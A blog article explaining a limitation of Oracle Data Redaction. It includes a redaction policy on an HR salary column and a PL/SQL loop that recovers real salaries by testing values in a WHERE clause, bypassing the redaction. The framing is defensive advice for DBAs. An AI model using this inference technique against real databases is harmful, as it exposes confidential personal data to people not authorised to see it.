Last month Oracle ACE Director Oded Raz published an article about Data Redaction. This month, Oded will explain some of the vulnerabilities of data redaction and how to “hack it”. I would like to thank Oded for his contribution and invite him to publish more things in the future.
Zohar

On my last article, I have introduced you the new oracle security feature – Data Redaction, selective, on-the-fly redaction of sensitive data in SQL query results prior to display by applications so that unauthorized users cannot view the sensitive data. Although I welcome this feature and think it’s a much-needed addition to Oracle database security features it has some limitations that you need to be aware of before using it to protect sensitive data.

Adding the data reduction

To make my point let’s think about a simple scenario where we want to let some analysts access the employees table but we don’t want them to see the employees’ salaries.

First, we define the proper redaction policy:

BEGIN
 DBMS_REDACT.ADD_POLICY(
  object_schema => 'HR',
  object_name => 'EMPLOYEES',
  column_name => 'SALARY',
  column_description => 'emp_sal_comm shows employee salary and commission',
  policy_name => 'redact_emp_sal_comm',
  policy_description => 'Partially redacts the emp_sal_comm column',
  function_type => DBMS_REDACT.PARTIAL,
  function_parameters => '9,1,4',
  expression => '1=1');
END;
/

Now lets see if it works:

As you can see if salary column is being access by any user, including HR original salary data is redacted and replaced with 9999. One of the analysts need to query the database directly using SQLPLUS, the DBA grant him access because the SALARY column is redacted,

BUT

Our analyst is very resourceful and curious and decided he must see employees’ salaries, and he try to run the following anonymous block against employees table:

DECLARE
 sal_txt varchar2(1024);
BEGIN
 FOR LCounter IN 1..99999 LOOP
  BEGIN
   SELECT FIRST_NAME||' '||LAST_NAME||' salary is '||LCounter into sal_txt
   FROM HR.EMPLOYEES
   WHERE SALARY=LCounter and rownum<2; 

   DBMS_OUTPUT.PUT_LINE(sal_txt) ;
  EXCEPTION
    WHEN NO_DATA_FOUND THEN CONTINUE;
  END;
 END LOOP;
END;
/

If you take a closer look at this code snippet you will that out analyst is not retrieving the salary at all for each loop iteration he is retrieving first name and last name of the employees with salary equals to the current iteration resulting with the following output:

As you can see although REDACT user (representing our analyst) can see actual salaries when queried directly, when using Oracle data redaction, The original data is not changed and when using a redacted column in a “where clause” the original data is being evaluated and not the redacted one. As you can see Oracle data redaction has its limitations, and we should know when and how to use it, in our little example the problem was that we have granted a direct access to the database to the analyst allowing him to “override” redaction.

Don’t get me wrong, Oracle data redaction is a great feature for preventing access to sanative data on production environments but we must understand its limitations and make sure we use it correctly.

So up until next time, be smart be careful and don’t be afraid to use Oracle database security features.

Oded Raz
Oracle ACE Director